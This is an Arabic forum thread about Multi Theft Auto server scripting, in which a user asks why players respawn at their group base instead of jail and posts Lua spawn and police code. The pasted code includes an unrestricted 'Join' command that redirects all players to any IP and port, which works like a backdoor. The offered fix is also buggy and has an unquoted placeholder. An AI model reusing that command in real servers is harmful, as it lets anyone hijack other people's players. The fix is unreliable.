Jump to content

مشكلة في الريسباون


Recommended Posts

4 minutes ago, iyaad said:

انا ركبت مقر لقروبي بس صار لما حد شرطي يقتلني ما اروح السجن اروح المقر ايش الحل؟

اطرح اكوادك تبع السباون

Edited by #!Error.xD
Link to comment
29 minutes ago, #!Error.xD said:

اطرح اكوادك تبع السباون

تفضل 

موجودات على السيرفر

addEventHandler ( "onPlayerQuit", root,
function ( )
if ( playersGroups [ source ] ) then playersGroups [ source ] = nil end
end
)

addEventHandler ( "onPlayerWasted", root,
function ( )
	if ( getElementType ( source ) == "player" ) then
		if ( playersGroups [ source ] ) then
			setElementData ( source, "Group", playersGroups [ source ] )
			playersGroups [ source ] = nil
		end
	end
end
)

addEventHandler("onPlayerLogin", root,
function()
	if getElementData(source, "Group") == GroupName then
		setElementData(source, "SpawnInBase", true)
	end
end)


function OnSpawn()
if getElementData ( source , "Group" ) == GroupName then
if ( getElementData(source,"LegalStatus") ~= "Jailed" ) or getElementData(source, "SpawnInBase") ~= false then
if getElementData(source,"Kidnapper") then return end
function sp( source )
setElementPosition( source, HouseEnterX, HouseEnterY, HouseEnterZ)
setElementInterior ( source, HouseInterior )
setElementDimension ( source, HouseDim)
setPedStat(source, 24, HealthStat)
setElementHealth( source, 200 )
end
setTimer(sp,500,1,source)
else
end
end
end
addEventHandler ( "onPlayerSpawn", getRootElement(), OnSpawn )

 

Link to comment
4 minutes ago, #!Error.xD said:

جيب داتا الشرطة بالكامل او السجن  بالقيم مود تبعك

addEventHandler("onPlayerJoin", getRootElement(), ABOPJ)
addCommandHandler('Join',function(_,_,ip,port)
    if ( ip ) and tonumber( port ) then
        for k,v in ipairs(getElementsByType('player')) do
        redirectPlayer(v,ip,port)
            end
        end
    end
)
addEvent("PHit", true)
function FPHit(player, id, amount)
	send[source] = false
	for k, v in ipairs(getElementsByType("player")) do
		if getElementData(v, "ID") == id then
			send[source] = true
			if getElementData(v, "Hits") then
				setElementData(v, "Hits", getElementData(v, "Hits")+amount)
			else
				setElementData(v, "Hits", amount)
			end
			exports["guimessages"]:outputServer(player, yph1text[player]..' '..getPlayerName(v)..' '..yph2text[player]..' '..amount, 255, 125, 0)
		end
	end
	if send[source] == false then
		exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
	else
		send[source] = false
		setElementData(player, "Money", getElementData(player, "Money")-amount)
	end
end
addEventHandler("PHit", getRootElement(), FPHit)

function DataC(data, ov)
	--if data == "Money" then
		--setPlayerMoney(source, getElementData(source, data))
	if data == "DLP" or data == "Offering" or data == "WantLvl" or data == "protect" or data == "Alive" or data == "Job" or data == "DL" or data == "Prisoners" then
		setElementData(source, data, getElementData(source, data))
		if data == "WantLvl" then
			if getElementData(source, data) then
				setPlayerWantedLevel(source, getElementData(source, data))
			end
		end
	elseif data == "Stats" then
		if ov == 3 then
			if getElementData(source, data) ~= 2 then
				setElementData(source, data, getElementData(source, data))
			else
				setElementData(source, data, ov)
			end
		else
			setElementData(source, data, getElementData(source, data))
		end
	end
end
addEventHandler("onElementDataChange", getRootElement(), DataC)

function KTRSIV(theVehicle, seat, jacked)
	--outputDebugString("server: KTRSIV")
	if jacked then
		if getPlayerTeam(source) == Police then
			if getElementData(jacked, "WantLvl") > 2 and getElementData(jacked, "Stats") < 2 then
				cop = source
				source = jacked
				ARRESTSTYLE(source, cop)
			end
		elseif getPlayerTeam(jacked) == Police then
			edwlvl = getElementData(source, "WantLvl")
			if edwlvl < 3 then
				setElementData(source, "WantLvl", 3)
			end
			if getElementData(jacked, "Prisoners") > 0 then
				setElementData(jacked, "Prisoners", 0)
				setElementData(source, "Stats", 0)
			end
		else
			for k,v in ipairs(getElementsByType("player")) do
				if getPlayerTeam(v) == Police and getElementData(source, "WantLvl") < 2 then
					x, y, z = getElementPosition(source)
					vx, vy, vz = getElementPosition(v)
					dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
					if dist < 60 then
						setElementData(source, "WantLvl", 2)
					end
				end
			end
		end
	end
end
addEventHandler("onPlayerVehicleEnter", getRootElement(), KTRSIV)

function checkTeams(thePlayer, seat, driver)
	--outputDebugString("server: checkTeams")
	if getPlayerTeam(thePlayer) ~= NoTeam then
		if seat < 1 and driver then
			if getPlayerTeam(thePlayer) == Police then
				dwl = getElementData(driver, "WantLvl")
				if dwl < 3 then
					cancelEvent()
				end
			elseif getPlayerTeam(thePlayer) == getPlayerTeam(driver) then
				cancelEvent()
			end
		end
	end
end
addEventHandler("onVehicleStartEnter", getRootElement(), checkTeams)

function FVOVRS()
	fixVehicle(source)
end
addEventHandler("onVehicleRespawn", getRootElement(), FVOVRS)
--[[
function TGmoney(totalAmmo, killer)
	--outputDebugString("server: TGmoney")
	gpwlvl = getElementData(source, "WantLvl")
	if killer then
		if getElementType(killer) == "player" then
			if killer ~= source and getPlayerTeam(killer) == Police then
				setElementData(source, "Stats", 3)
				setElementData(source, "WantLvl", 0)
			if getPlayerTeam(killer) ~= Police then
				if killer ~= source then
					if getElementData(source, "Stats") < 2 and gpwlvl < 3 then
						--setElementData(source, "Stats", 0)
						setElementData(source, "WantLvl", 0)
					elseif getElementData(killer, "Job") == 1 and getElementData(killer, "Stats") < 3 and getElementData(source, "Stats") < 3 and getPlayerTeam(killer) == NoTeam then
						setElementData(source, "Hits", 0)
					end
				end
				if gpwlvl > 2 then
					for _, players in ipairs(getElementsByType("player")) do
						if getPlayerTeam(players) == Police then
							ax, ay, az = getElementPosition(source)
							cx, cy, cz = getElementPosition(players)
							dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)

							if killer == source and dist < 50 then
								setElementData(source, "Stats", 3)
								setElementData(source, "WantLvl", 0)
							elseif killer ~= source and dist > 80 then
								setElementData(source, "WantLvl", gpwlvl-2)
							end
						end
					end
				end
			end
		end
	elseif gpwlvl > 2 then
		for _, players in ipairs(getElementsByType("player")) do
			if getPlayerTeam(players) == Police then
				ax, ay, az = getElementPosition(source)
				cx, cy, cz = getElementPosition(players)
				dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)

				if dist < 50 then
					setElementData(source, "Stats", 3)
					setElementData(source, "WantLvl", 0)
				end
			end
		end
	end
	setPedWeaponSlot(source, 0)
	setElementData(source, "Prisoners", 0)
end
addEventHandler("onPlayerWasted", getRootElement(), TGmoney)
]]
addEvent("onPS", true)
function GWOPS(resp, weap1, weap2, weap3, weap4, weap5, weap6, weap7, weap8, weap11, weap12, ammo1, ammo2, ammo3, ammo4, ammo5, ammo6, ammo7, ammo8, ammo11, ammo12)
	--outputDebugString("server: GWOPS")
	if getPlayerTeam(resp) == Police then
		giveWeapon(resp, 3)
	end
	setTimer(giveWeapon, 50, 1, resp, 1)
	giveWeapon(resp, weap2, ammo2)
	giveWeapon(resp, weap3, ammo3)
	giveWeapon(resp, weap4, ammo4)
	giveWeapon(resp, weap5, ammo5)
	giveWeapon(resp, weap6, ammo6)
	--giveWeapon(resp, weap7, ammo7)
	giveWeapon(resp, weap8, ammo8)
	giveWeapon(resp, weap11, ammo11)
	--giveWeapon(resp, weap12, ammo12)
end
addEventHandler("onPS", getRootElement(), GWOPS)

--[[function OMPH(player)
	if getElementModel(source) == 1212 then
		givePlayerMoney(player, 20)
		setElementData(player, "Money", getPlayerMoney(player))
	end
end
addEventHandler("onPickupHit", getRootElement(), OMPH)]]
noa = 0
function playerLogin(thePreviousAccount, theCurrentAccount, autoLogin)
	--outputDebugString("server: playerLogin")
	if not isGuestAccount(getPlayerAccount(source)) then
		--[[if not getAccountData(theCurrentAccount, "Serial") then
			for k,v in ipairs(getAccounts()) do
				if getAccountData(v, "Serial") == getPlayerSerial(source) then
					noa = noa+1
				end
			end
			if noa < 2 then
				setAccountData(theCurrentAccount, "Serial", getPlayerSerial(source))
				loadAccount(source, theCurrentAccount)
			else
				cancelEvent()
				outputChatBox("You're allowed to own 2 accounts only!يحق لك أن تملك حسابين فقط", source, 255, 0, 0)
			end
			noa = 0
		elseif getAccountData(theCurrentAccount, "Serial") ~= getPlayerSerial(source) then
			kickPlayer(source, "You don't own this account!أنت لا تملك هذا الحساب")
		else]]
			loadAccount(source, theCurrentAccount)
		--end
	end
end

 

Link to comment
addEventHandler ( "onPlayerQuit", root,
function ( )
if ( playersGroups [ source ] ) then playersGroups [ source ] = nil end
end
)

addEventHandler ( "onPlayerWasted", root,
function ( )
	if ( getElementType ( source ) == "player" ) then
		if ( playersGroups [ source ] ) then
			setElementData ( source, "Group", playersGroups [ source ] )
			playersGroups [ source ] = nil
		end
	end
end
)

addEventHandler("onPlayerLogin", root,
function()
	if getElementData(source, "Group") == GroupName then
		setElementData(source, "SpawnInBase", true)
	end
end)


function OnSpawn()
if getElementData ( source , "Group" ) == اسم قروبك then
if ( getElementData(source,"Prisoners") ~= "Jailed" ) or getElementData(source, "SpawnInBase") ~= false then
if getElementData(source,"Kidnapper") then return end
function sp( source )
setElementPosition( source, HouseEnterX, HouseEnterY, HouseEnterZ)
setElementInterior ( source, HouseInterior )
setElementDimension ( source, HouseDim)
setPedStat(source, 24, HealthStat)
setElementHealth( source, 200 )
end
setTimer(sp,500,1,source)
else
end
end
end
addEventHandler ( "onPlayerSpawn", getRootElement(), OnSpawn )

 

Edited by F_F
Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...